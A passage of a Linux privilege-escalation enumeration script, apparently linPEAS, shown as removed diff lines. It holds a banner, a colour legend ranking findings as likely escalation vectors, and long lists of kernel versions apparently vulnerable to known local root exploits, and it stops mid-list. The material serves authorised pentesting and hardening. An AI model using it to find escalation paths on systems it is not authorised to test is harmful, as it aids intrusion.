\e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[48;5;59m \e[48;5;65m \e[49m - \e[48;5;16m \e[48;5;65m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;22m \e[48;5;65m \e[49m - \e[48;5;108m \e[48;5;107m \e[48;5;59m \e[48;5;77m \e[48;5;16m \e[48;5;114m \e[48;5;108m \e[49m" - fi - fi -} - - -print_support () { - printf """ - ${GREEN}/---------------------------------------------------------------------------------\\ - | ${BLUE}Do you like PEASS?${GREEN} | - |---------------------------------------------------------------------------------| - | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} | - | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | - |---------------------------------------------------------------------------------| - | ${BLUE}Thank you! ${GREEN} | - \---------------------------------------------------------------------------------/ -""" -} - -########################################### -#-----------) Starting Output (-----------# -########################################### - -echo "" -if [ ! "$QUIET" ]; then print_banner; print_support; fi -printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by github.com/PEASS-ng\n"$NC; -echo "" -printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" -echo "" -printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC -echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," -echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," -echo " RED: You should take a look to it" | sed "s,RED,${SED_RED}," -echo " LightCyan: Users with console" | sed "s,LightCyan,${SED_LIGHT_CYAN}," -echo " Blue: Users without console & mounted devs" | sed "s,Blue,${SED_BLUE}," -echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) " | sed "s,Green,${SED_GREEN}," -echo " LightMagenta: Your username" | sed "s,LightMagenta,${SED_LIGHT_MAGENTA}," -if [ "$IAMROOT" ]; then - echo "" - echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW}," - sleep 3 -fi -echo "" -printf " ${DG}Starting $SCRIPTNAME. Caching Writable Folders...$NC" -echo "" - -########################################### -#---------------) Lists (-----------------# -########################################### - -filename="$SCRIPTNAME.txt$RANDOM" -kernelB=" 4.0.[0-9]+| 4.1.[0-9]+| 4.2.[0-9]+| 4.3.[0-9]+| 4.4.[0-9]+| 4.5.[0-9]+| 4.6.[0-9]+| 4.7.[0-9]+| 4.8.[0-9]+| 4.9.[0-9]+| 4.10.[0-9]+| 4.11.[0-9]+| 4.12.[0-9]+| 4.13.[0-9]+| 3.9.6| 3.9.0| 3.9| 3.8.9| 3.8.8| 3.8.7| 3.8.6| 3.8.5| 3.8.4| 3.8.3| 3.8.2| 3.8.1| 3.8.0| 3.8| 3.7.6| 3.7.0| 3.7| 3.6.0| 3.6| 3.5.0| 3.5| 3.4.9| 3.4.8| 3.4.6| 3.4.5| 3.4.4| 3.4.3| 3.4.2| 3.4.1| 3.4.0| 3.4| 3.3| 3.2| 3.19.0| 3.16.0| 3.15| 3.14| 3.13.1| 3.13.0| 3.13| 3.12.0| 3.12| 3.11.0| 3.11| 3.10.6| 3.10.0| 3.10| 3.1.0| 3.0.6| 3.0.5| 3.0.4| 3.0.3| 3.0.2| 3.0.1| 3.0.0| 2.6.9| 2.6.8| 2.6.7| 2.6.6| 2.6.5| 2.6.4| 2.6.39| 2.6.38| 2.6.37| 2.6.36| 2.6.35| 2.6.34| 2.6.33| 2.6.32| 2.6.31| 2.6.30| 2.6.3| 2.6.29| 2.6.28| 2.6.27| 2.6.26| 2.6.25| 2.6.24.1| 2.6.24| 2.6.23| 2.6.22| 2.6.21| 2.6.20| 2.6.2| 2.6.19| 2.6.18| 2.6.17| 2.6.16| 2.6.15| 2.6.14| 2.6.13| 2.6.12| 2.6.11| 2.6.10| 2.6.1| 2.6.0| 2.4.9| 2.4.8| 2.4.7| 2.4.6| 2.4.5| 2.4.4| 2.4.37| 2.4.36| 2.4.35| 2.4.34| 2.4.33| 2.4.32| 2.4.31| 2.4.30| 2.4.29| 2.4.28| 2.4.27| 2.4.26| 2.4.25| 2.4.24| 2.4.23| 2.4.22| 2.4.21| 2.4.20| 2.4.19| 2.4.18| 2.4.17| 2.4.16| 2.4.15| 2.4.14| 2.4.13| 2.4.12| 2.4.11| 2.4.10| 2.2.24" -kernelDCW_Ubuntu_Precise_1="3.1.1-1400-linaro-lt-mx5|3.11.0-13-generic|3.11.0-14-generic|3.11.0-15-generic|3.11.0-17-generic|3.11.0-18-generic|3.11.0-20-generic|3.11.0-22-generic|3.11.0-23-generic|3.11.0-24-generic|3.11.0-26-generic|3.13.0-100-generic|3.13.0-24-generic|3.13.0-27-generic|3.13.0-29-generic|3.13.0-30-generic|3.13.0-32-generic|3.13.0-33-generic|3.13.0-34-generic|3.13.0-35-generic|3.13.0-36-generic|3.13.0-37-generic|3.13.0-39-generic|3.13.0-40-generic|3.13.0-41-generic|3.13.0-43-generic|3.13.0-44-generic|3.13.0-46-generic|3.13.0-48-generic|3.13.0-49-generic|3.13.0-51-generic|3.13.0-52-generic|3.13.0-53-generic|3.13.0-54-generic|3.13.0-55-generic|3.13.0-57-generic|3.13.0-58-generic|3.13.0-59-generic|3.13.0-61-generic|3.13.0-62-generic|3.13.0-63-generic|3.13.0-65-generic|3.13.0-66-generic|3.13.0-67-generic|3.13.0-68-generic|3.13.0-71-generic|3.13.0-73-generic|3.13.0-74-generic|3.13.0-76-generic|3.13.0-77-generic|3.13.0-79-generic|3.13.0-83-generic|3.13.0-85-generic|3.13.0-86-generic|3.13.0-88-generic|3.13.0-91-generic|3.13.0-92-generic|3.13.0-93-generic|3.13.0-95-generic|3.13.0-96-generic|3.13.0-98-generic|3.2.0-101-generic|3.2.0-101-generic-pae|3.2.0-101-virtual|3.2.0-102-generic|3.2.0-102-generic-pae|3.2.0-102-virtual" -kernelDCW_Ubuntu_Precise_2="3.2.0-104-generic|3.2.0-104-generic-pae|3.2.0-104-virtual|3.2.0-105-generic|3.2.0-105-generic-pae|3.2.0-105-virtual|3.2.0-106-generic|3.2.0-106-generic-pae|3.2.0-106-virtual|3.2.0-107-generic|3.2.0-107-generic-pae|3.2.0-107-virtual|3.2.0-109-generic|3.2.0-109-generic-pae|3.2.0-109-virtual|3.2.0-110-generic|3.2.0-110-generic-pae|3.2.0-110-virtual|3.2.0-111-generic|3.2.0-111-generic-pae|3.2.0-111-virtual|3.2.0-1412-omap4|3.2.0-1602-armadaxp|3.2.0-23-generic|3.2.0-23-generic-pae|3.2.0-23-lowlatency|3.2.0-23-lowlatency-pae|3.2.0-23-omap|3.2.0-23-powerpc-smp|3.2.0-23-powerpc64-smp|3.2.0-23-virtual|3.2.0-24-generic|3.2.0-24-generic-pae|3.2.0-24-virtual|3.2.0-25-generic|3.2.0-25-generic-pae|3.2.0-25-virtual|3.2.0-26-generic|3.2.0-26-generic-pae|3.2.0-26-virtual|3.2.0-27-generic|3.2.0-27-generic-pae|3.2.0-27-virtual|3.2.0-29-generic|3.2.0-29-generic-pae|3.2.0-29-virtual|3.2.0-31-generic|3.2.0-31-generic-pae|3.2.0-31-virtual|3.2.0-32-generic|3.2.0-32-generic-pae|3.2.0-32-virtual|3.2.0-33-generic|3.2.0-33-generic-pae|3.2.0-33-lowlatency|3.2.0-33-lowlatency-pae|3.2.0-33-virtual|3.2.0-34-generic|3.2.0-34-generic-pae|3.2.0-34-virtual|3.2.0-35-generic|3.2.0-35-generic-pae|3.2.0-35-lowlatency|3.2.0-35-lowlatency-pae|3.2.0-35-virtual" -kernelDCW_Ubuntu_Precise_3="3.2.0-36-generic|3.2.0-36-generic-pae|3.2.0-36-lowlatency|3.2.0-36-lowlatency-pae|3.2.0-36-virtual|3.2.0-37-generic|3.2.0-37-generic-pae|3.2.0-37-lowlatency|3.2.0-37-lowlatency-pae|3.2.0-37-virtual|3.2.0-38-generic|3.2.0-38-generic-pae|3.2.0-38-lowlatency|3.2.0-38-lowlatency-pae|3.2.0-38-virtual|3.2.0-39-generic|3.2.0-39-generic-pae|3.2.0-39-lowlatency|3.2.0-39-lowlatency-pae|3.2.0-39-virtual|3.2.0-40-generic|3.2.0-40-generic-pae|3.2.0-40-lowlatency|3.2.0-40-lowlatency-pae|3.2.0-40-virtual|3.2.0-41-generic|3.2.0-41-generic-pae|3.2.0-41-lowlatency|3.2.0-41-lowlatency-pae|3.2.0-41-virtual|3.2.0-43-generic|3.2.0-43-generic-pae|3.2.0-43-virtual|3.2.0-44-generic|3.2.0-44-generic-pae|3.2.0-44-lowlatency|3.2.0-44-lowlatency-pae|3.2.0-44-virtual|3.2.0-45-generic|3.2.0-45-generic-pae|3.2.0-45-virtual|3.2.0-48-generic|3.2.0-48-generic-pae|3.2.0-48-lowlatency|3.2.0-48-lowlatency-pae|3.2.0-48-virtual|3.2.0-51-generic|3.2.0-51-generic-pae|3.2.0-51-lowlatency|3.2.0-51-lowlatency-pae|3.2.0-51-virtual|3.2.0-52-generic|3.2.0-52-generic-pae|3.2.0-52-lowlatency|3.2.0-52-lowlatency-pae|3.2.0-52-virtual|3.2.0-53-generic" -kernelDCW_Ubuntu_Precise_4="3.2.0-53-generic-pae|3.2.0-53-lowlatency|3.2.0-53-lowlatency-pae|3.2.0-53-virtual|3.2.0-54-generic|3.2.0-54-generic-pae|3.2.0-54-lowlatency|3.2.0-54-lowlatency-pae|3.2.0-54-virtual|3.2.0-55-generic|3.2.0-55-generic-pae|3.2.0-55-lowlatency|3.2.0-55-lowlatency-pae|3.2.0-55-virtual|3.2.0-56-generic|3.2.0-56-generic-pae|3.2.0-56-lowlatency|3.2.0-56-lowlatency-pae|3.2.0-56-virtual|3.2.0-57-generic|3.2.0-57-generic-pae|3.2.0-57-lowlatency|3.2.0-57-lowlatency-pae|3.2.0-57-virtual|3.2.0-58-generic|3.2.0-58-generic-pae|3.2.0-58-lowlatency|3.2.0-58-lowlatency-pae|3.2.0-58-virtual|3.2.0-59-generic|3.2.0-59-generic-pae|3.2.0-59-lowlatency|3.2.0-59-lowlatency-pae|3.2.0-59-virtual|3.2.0-60-generic|3.2.0-60-generic-pae|3.2.0-60-lowlatency|3.2.0-60-lowlatency-pae|3.2.0-60-virtual|3.2.0-61-generic|3.2.0-61-generic-pae|3.2.0-61-virtual|3.2.0-63-generic|3.2.0-63-generic-pae|3.2.0-63-lowlatency|3.2.0-63-lowlatency-pae|3.2.0-63-virtual|3.2.0-64-generic|3.2.0-64-generic-pae|3.2.0-64-lowlatency|3.2.0-64-lowlatency-pae|3.2.0-64-virtual|3.2.0-65-generic|3.2.0-65-generic-pae|3.2.0-65-lowlatency|3.2.0-65-lowlatency-pae|3.2.0-65-virtual|3.2.0-67-generic|3.2.0-67-generic-pae|3.2.0-67-lowlatency|3.2.0-67-lowlatency-pae|3.2.0-67-virtual|3.2.0-68-generic" -kernelDCW_Ubuntu_Precise_5="3.2.0-68-generic-pae|3.2.0-68-lowlatency|3.2.0-68-lowlatency-pae|3.2.0-68-virtual|3.2.0-69-generic|3.2.0-69-generic-pae|3.2.0-69-lowlatency|3.2.0-69-lowlatency-pae|3.2.0-69-virtual|3.2.0-70-generic|3.2.0-70-generic-pae|3.2.0-70-lowlatency|3.2.0-70-lowlatency-pae|3.2.0-70-virtual|3.2.0-72-generic|3.2.0-72-generic-pae|3.2.0-72-lowlatency|3.2.0-72-lowlatency-pae|3.2.0-72-virtual|3.2.0-73-generic|3.2.0-73-generic-pae|3.2.0-73-lowlatency|3.2.0-73-lowlatency-pae|3.2.0-73-virtual|3.2.0-74-generic|3.2.0-74-generic-pae|3.2.0-74-lowlatency|3.2.0-74-lowlatency-pae|3.2.0-74-virtual|3.2.0-75-generic|3.2.0-75-generic-pae|3.2.0-75-lowlatency|3.2.0-75-lowlatency-pae|3.2.0-75-virtual|3.2.0-76-generic|3.2.0-76-generic-pae|3.2.0-76-lowlatency|3.2.0-76-lowlatency-pae|3.2.0-76-virtual|3.2.0-77-generic|3.2.0-77-generic-pae|3.2.0-77-lowlatency|3.2.0-77-lowlatency-pae|3.2.0-77-virtual|3.2.0-79-generic|3.2.0-79-generic-pae|3.2.0-79-lowlatency|3.2.0-79-lowlatency-pae|3.2.0-79-virtual|3.2.0-80-generic|3.2.0-80-generic-pae|3.2.0-80-lowlatency|3.2.0-80-lowlatency-pae|3.2.0-80-virtual|3.2.0-82-generic|3.2.0-82-generic-pae|3.2.0-82-lowlatency|3.2.0-82-lowlatency-pae|3.2.0-82-virtual|3.2.0-83-generic|3.2.0-83-generic-pae|3.2.0-83-virtual|3.2.0-84-generic" -kernelDCW_Ubuntu_Precise_6="3.2.0-84-generic-pae|3.2.0-84-virtual|3.2.0-85-generic|3.2.0-85-generic-pae|3.2.0-85-virtual|3.2.0-86-generic|3.2.0-86-generic-pae|3.2.0-86-virtual|3.2.0-87-generic|3.2.0-87-generic-pae|3.2.0-87-virtual|3.2.0-88-generic|3.2.0-88-generic-pae|3.2.0-88-virtual|3.2.0-89-generic|3.2.0-89-generic-pae|3.2.0-89-virtual|3.2.0-90-generic|3.2.0-90-generic-pae|3.2.0-90-virtual|3.2.0-91-generic|3.2.0-91-generic-pae|3.2.0-91-virtual|3.2.0-92-generic|3.2.0-92-generic-pae|3.2.0-92-virtual|3.2.0-93-generic|3.2.0-93-generic-pae|3.2.0-93-virtual|3.2.0-94-generic|3.2.0-94-generic-pae|3.2.0-94-virtual|3.2.0-95-generic|3.2.0-95-generic-pae|3.2.0-95-virtual|3.2.0-96-generic|3.2.0-96-generic-pae|3.2.0-96-virtual|3.2.0-97-generic|3.2.0-97-generic-pae|3.2.0-97-virtual|3.2.0-98-generic|3.2.0-98-generic-pae|3.2.0-98-virtual|3.2.0-99-generic|3.2.0-99-generic-pae|3.2.0-99-virtual|3.5.0-40-generic|3.5.0-41-generic|3.5.0-42-generic|3.5.0-43-generic|3.5.0-44-generic|3.5.0-45-generic|3.5.0-46-generic|3.5.0-49-generic|3.5.0-51-generic|3.5.0-52-generic|3.5.0-54-generic|3.8.0-19-generic|3.8.0-21-generic|3.8.0-22-generic|3.8.0-23-generic|3.8.0-27-generic|3.8.0-29-generic|3.8.0-30-generic|3.8.0-31-generic|3.8.0-32-generic|3.8.0-33-generic|3.8.0-34-generic|3.8.0-35-generic|3.8.0-36-generic|3.8.0-37-generic|3.8.0-38-generic|3.8.0-39-generic|3.8.0-41-generic|3.8.0-42-generic" -kernelDCW_Ubuntu_Trusty_1="3.13.0-24-generic|3.13.0-24-generic-lpae|3.13.0-24-lowlatency|3.13.0-24-powerpc-e500|3.13.0-24-powerpc-e500mc|3.13.0-24-powerpc-smp|3.13.0-24-powerpc64-emb|3.13.0-24-powerpc64-smp|3.13.0-27-generic|3.13.0-27-lowlatency|3.13.0-29-generic|3.13.0-29-lowlatency|3.13.0-3-exynos5|3.13.0-30-generic|3.13.0-30-lowlatency|3.13.0-32-generic|3.13.0-32-lowlatency|3.13.0-33-generic|3.13.0-33-lowlatency|3.13.0-34-generic|3.13.0-34-lowlatency|3.13.0-35-generic|3.13.0-35-lowlatency|3.13.0-36-generic|3.13.0-36-lowlatency|3.13.0-37-generic|3.13.0-37-lowlatency|3.13.0-39-generic|3.13.0-39-lowlatency|3.13.0-40-generic|3.13.0-40-lowlatency|3.13.0-41-generic|3.13.0-41-lowlatency|3.13.0-43-generic|3.13.0-43-lowlatency|3.13.0-44-generic|3.13.0-44-lowlatency|3.13.0-46-generic|3.13.0-46-lowlatency|3.13.0-48-generic|3.13.0-48-lowlatency|3.13.0-49-generic|3.13.0-49-lowlatency|3.13.0-51-generic|3.13.0-51-lowlatency|3.13.0-52-generic|3.13.0-52-lowlatency|3.13.0-53-generic|3.13.0-53-lowlatency|3.13.0-54-generic|3.13.0-54-lowlatency|3.13.0-55-generic|3.13.0-55-lowlatency|3.13.0-57-generic|3.13.0-57-lowlatency|3.13.0-58-generic|3.13.0-58-lowlatency|3.13.0-59-generic|3.13.0-59-lowlatency|3.13.0-61-generic|3.13.0-61-lowlatency|3.13.0-62-generic|3.13.0-62-lowlatency|3.13.0-63-generic|3.13.0-63-lowlatency|3.13.0-65-generic|3.13.0-65-lowlatency|3.13.0-66-generic|3.13.0-66-lowlatency" -kernelDCW_Ubuntu_Trusty_2="3.13.0-67-generic|3.13.0-67-lowlatency|3.13.0-68-generic|3.13.0-68-lowlatency|3.13.0-70-generic|3.13.0-70-lowlatency|3.13.0-71-generic|3.13.0-71-lowlatency|3.13.0-73-generic|3.13.0-73-lowlatency|3.13.0-74-generic|3.13.0-74-lowlatency|3.13.0-76-generic|3.13.0-76-lowlatency|3.13.0-77-generic|3.13.0-77-lowlatency|3.13.0-79-generic|3.13.0-79-lowlatency|3.13.0-83-generic|3.13.0-83-lowlatency|3.13.0-85-generic|3.13.0-85-lowlatency|3.13.0-86-generic|3.13.0-86-lowlatency|3.13.0-87-generic|3.13.0-87-lowlatency|3.13.0-88-generic|3.13.0-88-lowlatency|3.13.0-91-generic|3.13.0-91-lowlatency|3.13.0-92-generic|3.13.0-92-lowlatency|3.13.0-93-generic|3.13.0-93-lowlatency|3.13.0-95-generic|3.13.0-95-lowlatency|3.13.0-96-generic|3.13.0-96-lowlatency|3.13.0-98-generic|3.13.0-98-lowlatency|3.16.0-25-generic|3.16.0-25-lowlatency|3.16.0-26-generic|3.16.0-26-lowlatency|3.16.0-28-generic|3.16.0-28-lowlatency|3.16.0-29-generic|3.16.0-29-lowlatency|3.16.0-31-generic|3.16.0-31-lowlatency|3.16.0-33-generic|3.16.0-33-lowlatency|3.16.0-34-generic|3.16.0-34-lowlatency|3.16.0-36-generic|3.16.0-36-lowlatency|3.16.0-37-generic|3.16.0-37-lowlatency|3.16.0-38-generic|3.16.0-38-lowlatency|3.16.0-39-generic|3.16.0-39-lowlatency|3.16.0-41-generic|3.16.0-41-lowlatency|3.16.0-43-generic|3.16.0-43-lowlatency|3.16.0-44-generic|3.16.0-44-lowlatency|3.16.0-45-generic" -kernelDCW_Ubuntu_Trusty_3="3.16.0-45-lowlatency|3.16.0-46-generic|3.16.0-46-lowlatency|3.16.0-48-generic|3.16.0-48-lowlatency|3.16.0-49-generic|3.16.0-49-lowlatency|3.16.0-50-generic|3.16.0-50-lowlatency|3.16.0-51-generic|3.16.0-51-lowlatency|3.16.0-52-generic|3.16.0-52-lowlatency|3.16.0-53-generic|3.16.0-53-lowlatency|3.16.0-55-generic|3.16.0-55-lowlatency|3.16.0-56-generic|3.16.0-56-lowlatency|3.16.0-57-generic|3.16.0-57-lowlatency|3.16.0-59-generic|3.16.0-59-lowlatency|3.16.0-60-generic|3.16.0-60-lowlatency|3.16.0-62-generic|3.16.0-62-lowlatency|3.16.0-67-generic|3.16.0-67-lowlatency|3.16.0-69-generic|3.16.0-69-lowlatency|3.16.0-70-generic|3.16.0-70-lowlatency|3.16.0-71-generic|3.16.0-71-lowlatency|3.16.0-73-generic|3.16.0-73-lowlatency|3.16.0-76-generic|3.16.0-76-lowlatency|3.16.0-77-generic|3.16.0-77-lowlatency|3.19.0-20-generic|3.19.0-20-lowlatency|3.19.0-21-generic|3.19.0-21-lowlatency|3.19.0-22-generic|3.19.0-22-lowlatency|3.19.0-23-generic|3.19.0-23-lowlatency|3.19.0-25-generic|3.19.0-25-lowlatency|3.19.0-26-generic|3.19.0-26-lowlatency|3.19.0-28-generic|3.19.0-28-lowlatency|3.19.0-30-generic|3.19.0-30-lowlatency|3.19.0-31-generic|3.19.0-31-lowlatency|3.19.0-32-generic|3.19.0-32-lowlatency|3.19.0-33-generic|3.19.0-33-lowlatency|3.19.0-37-generic|3.19.0-37-lowlatency|3.19.0-39-generic|3.19.0-39-lowlatency|3.19.0-41-generic|3.19.0-41-lowlatency|3.19.0-42-generic" -kernelDCW_Ubuntu_Trusty_4="3.19.0-42-lowlatency|3.19.0-43-generic|3.19.0-43-lowlatency|3.19.0-47-generic|3.19.0-47-lowlatency|3.19.0-49-generic|3.19.0-49-lowlatency|3.19.0-51-generic|3.19.0-51-lowlatency|3.19.0-56-generic|3.19.0-56-lowlatency|3.19.0-58-generic|3.19.0-58-lowlatency|3.19.0-59-generic|3.19.0-59-lowlatency|3.19.0-61-generic|3.19.0-61-lowlatency|3.19.0-64-generic|3.19.0-64-lowlatency|3.19.0-65-generic|3.19.0-65-lowlatency|3.19.0-66-generic|3.19.0-66-lowlatency|3.19.0-68-generic|3.19.0-68-lowlatency|3.19.0-69-generic|3.19.0-69-lowlatency|3.19.0-71-generic|3.19.0-71-lowlatency|3.4.0-5-chromebook|4.2.0-18-generic|4.2.0-18-lowlatency|4.2.0-19-generic|4.2.0-19-lowlatency|4.2.0-21-generic|4.2.0-21-lowlatency|4.2.0-22-generic|4.2.0-22-lowlatency|4.2.0-23-generic|4.2.0-23-lowlatency|4.2.0-25-generic|4.2.0-25-lowlatency|4.2.0-27-generic|4.2.0-27-lowlatency|4.2.0-30-generic|4.2.0-30-lowlatency|4.2.0-34-generic|4.2.0-34-lowlatency|4.2.0-35-generic|4.2.0-35-lowlatency|4.2.0-36-generic|4.2.0-36-lowlatency|4.2.0-38-generic|4.2.0-38-lowlatency|4.2.0-41-generic|4.2.0-41-lowlatency|4.4.0-21-generic|4.4.0-21-lowlatency|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" -kernelDCW_Ubuntu_Xenial="4.4.0-1009-raspi2|4.4.0-1012-snapdragon|4.4.0-21-generic|4.4.0-21-generic-lpae|4.4.0-21-lowlatency|4.4.0-21-powerpc-e500mc|4.4.0-21-powerpc-smp|4.4.0-21-powerpc64-emb|4.4.0-21-powerpc64-smp|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" -kernelDCW_Rhel5_1="2.6.24.7-74.el5rt|2.6.24.7-81.el5rt|2.6.24.7-93.el5rt|2.6.24.7-101.el5rt|2.6.24.7-108.el5rt|2.6.24.7-111.el5rt|2.6.24.7-117.el5rt|2.6.24.7-126.el5rt|2.6.24.7-132.el5rt|2.6.24.7-137.el5rt|2.6.24.7-139.el5rt|2.6.24.7-146.el5rt|2.6.24.7-149.el5rt|2.6.24.7-161.el5rt|2.6.24.7-169.el5rt|2.6.33.7-rt29.45.el5rt|2.6.33.7-rt29.47.el5rt|2.6.33.7-rt29.55.el5rt|2.6.33.9-rt31.64.el5rt|2.6.33.9-rt31.67.el5rt|2.6.33.9-rt31.86.el5rt|2.6.18-8.1.1.el5|2.6.18-8.1.3.el5|2.6.18-8.1.4.el5|2.6.18-8.1.6.el5|2.6.18-8.1.8.el5|2.6.18-8.1.10.el5|2.6.18-8.1.14.el5|2.6.18-8.1.15.el5|2.6.18-53.el5|2.6.18-53.1.4.el5|2.6.18-53.1.6.el5|2.6.18-53.1.13.el5|2.6.18-53.1.14.el5|2.6.18-53.1.19.el5|2.6.18-53.1.21.el5|2.6.18-92.el5|2.6.18-92.1.1.el5|2.6.18-92.1.6.el5|2.6.18-92.1.10.el5|2.6.18-92.1.13.el5|2.6.18-92.1.18.el5|2.6.18-92.1.22.el5|2.6.18-92.1.24.el5|2.6.18-92.1.26.el5|2.6.18-92.1.27.el5|2.6.18-92.1.28.el5|2.6.18-92.1.29.el5|2.6.18-92.1.32.el5|2.6.18-92.1.35.el5|2.6.18-92.1.38.el5|2.6.18-128.el5|2.6.18-128.1.1.el5|2.6.18-128.1.6.el5|2.6.18-128.1.10.el5|2.6.18-128.1.14.el5|2.6.18-128.1.16.el5|2.6.18-128.2.1.el5|2.6.18-128.4.1.el5|2.6.18-128.4.1.el5|2.6.18-128.7.1.el5|2.6.18-128.8.1.el5|2.6.18-128.11.1.el5|2.6.18-128.12.1.el5|2.6.18-128.14.1.el5|2.6.18-128.16.1.el5|2.6.18-128.17.1.el5|2.6.18-128.18.1.el5|2.6.18-128.23.1.el5|2.6.18-128.23.2.el5|2.6.18-128.25.1.el5|2.6.18-128.26.1.el5|2.6.18-128.27.1.el5" -kernelDCW_Rhel5_2="2.6.18-128.29.1.el5|2.6.18-128.30.1.el5|2.6.18-128.31.1.el5|2.6.18-128.32.1.el5|2.6.18-128.35.1.el5|2.6.18-128.36.1.el5|2.6.18-128.37.1.el5|2.6.18-128.38.1.el5|2.6.18-128.39.1.el5|2.6.18-128.40.1.el5|2.6.18-128.41.1.el5|2.6.18-164.el5|2.6.18-164.2.1.el5|2.6.18-164.6.1.el5|2.6.18-164.9.1.el5|2.6.18-164.10.1.el5|2.6.18-164.11.1.el5|2.6.18-164.15.1.el5|2.6.18-164.17.1.el5|2.6.18-164.19.1.el5|2.6.18-164.21.1.el5|2.6.18-164.25.1.el5|2.6.18-164.25.2.el5|2.6.18-164.28.1.el5|2.6.18-164.30.1.el5|2.6.18-164.32.1.el5|2.6.18-164.34.1.el5|2.6.18-164.36.1.el5|2.6.18-164.37.1.el5|2.6.18-164.38.1.el5|2.6.18-194.el5|2.6.18-194.3.1.el5|2.6.18-194.8.1.el5|2.6.18-194.11.1.el5|2.6.18-194.11.3.el5|2.6.18-194.11.4.el5|2.6.18-194.17.1.el5|2.6.18-194.17.4.el5|2.6.18-194.26.1.el5|2.6.18-194.32.1.el5|2.6.18-238.el5|2.6.18-238.1.1.el5|2.6.18-238.5.1.el5|2.6.18-238.9.1.el5|2.6.18-238.12.1.el5|2.6.18-238.19.1.el5|2.6.18-238.21.1.el5|2.6.18-238.27.1.el5|2.6.18-238.28.1.el5|2.6.18-238.31.1.el5|2.6.18-238.33.1.el5|2.6.18-238.35.1.el5|2.6.18-238.37.1.el5|2.6.18-238.39.1.el5|2.6.18-238.40.1.el5|2.6.18-238.44.1.el5|2.6.18-238.45.1.el5|2.6.18-238.47.1.el5|2.6.18-238.48.1.el5|2.6.18-238.49.1.el5|2.6.18-238.50.1.el5|2.6.18-238.51.1.el5|2.6.18-238.52.1.el5|2.6.18-238.53.1.el5|2.6.18-238.54.1.el5|2.6.18-238.55.1.el5|2.6.18-238.56.1.el5|2.6.18-274.el5|2.6.18-274.3.1.el5|2.6.18-274.7.1.el5|2.6.18-274.12.1.el5" -kernelDCW_Rhel5_3="2.6.18-274.17.1.el5|2.6.18-274.18.1.el5|2.6.18-308.el5|2.6.18-308.1.1.el5|2.6.18-308.4.1.el5|2.6.18-308.8.1.el5|2.6.18-308.8.2.el5|2.6.18-308.11.1.el5|2.6.18-308.13.1.el5|2.6.18-308.16.1.el5|2.6.18-308.20.1.el5|2.6.18-308.24.1.el5|2.6.18-348.el5|2.6.18-348.1.1.el5|2.6.18-348.2.1.el5|2.6.18-348.3.1.el5|2.6.18-348.4.1.el5|2.6.18-348.6.1.el5|2.6.18-348.12.1.el5|2.6.18-348.16.1.el5|2.6.18-348.18.1.el5|2.6.18-348.19.1.el5|2.6.18-348.21.1.el5|2.6.18-348.22.1.el5|2.6.18-348.23.1.el5|2.6.18-348.25.1.el5|2.6.18-348.27.1.el5|2.6.18-348.28.1.el5|2.6.18-348.29.1.el5|2.6.18-348.30.1.el5|2.6.18-348.31.2.el5|2.6.18-371.el5|2.6.18-371.1.2.el5|2.6.18-371.3.1.el5|2.6.18-371.4.1.el5|2.6.18-371.6.1.el5|2.6.18-371.8.1.el5|2.6.18-371.9.1.el5|2.6.18-371.11.1.el5|2.6.18-371.12.1.el5|2.6.18-398.el5|2.6.18-400.el5|2.6.18-400.1.1.el5|2.6.18-402.el5|2.6.18-404.el5|2.6.18-406.el5|2.6.18-407.el5|2.6.18-408.el5|2.6.18-409.el5|2.6.18-410.el5|2.6.18-411.el5|2.6.18-412.el5" -kernelDCW_Rhel6_1="2.6.33.9-rt31.66.el6rt|2.6.33.9-rt31.74.el6rt|2.6.33.9-rt31.75.el6rt|2.6.33.9-rt31.79.el6rt|3.0.9-rt26.45.el6rt|3.0.9-rt26.46.el6rt|3.0.18-rt34.53.el6rt|3.0.25-rt44.57.el6rt|3.0.30-rt50.62.el6rt|3.0.36-rt57.66.el6rt|3.2.23-rt37.56.el6rt|3.2.33-rt50.66.el6rt|3.6.11-rt28.20.el6rt|3.6.11-rt30.25.el6rt|3.6.11.2-rt33.39.el6rt|3.6.11.5-rt37.55.el6rt|3.8.13-rt14.20.el6rt|3.8.13-rt14.25.el6rt|3.8.13-rt27.33.el6rt|3.8.13-rt27.34.el6rt|3.8.13-rt27.40.el6rt|3.10.0-229.rt56.144.el6rt|3.10.0-229.rt56.147.el6rt|3.10.0-229.rt56.149.el6rt|3.10.0-229.rt56.151.el6rt|3.10.0-229.rt56.153.el6rt|3.10.0-229.rt56.158.el6rt|3.10.0-229.rt56.161.el6rt|3.10.0-229.rt56.162.el6rt|3.10.0-327.rt56.170.el6rt|3.10.0-327.rt56.171.el6rt|3.10.0-327.rt56.176.el6rt|3.10.0-327.rt56.183.el6rt|3.10.0-327.rt56.190.el6rt|3.10.0-327.rt56.194.el6rt|3.10.0-327.rt56.195.el6rt|3.10.0-327.rt56.197.el6rt|3.10.33-rt32.33.el6r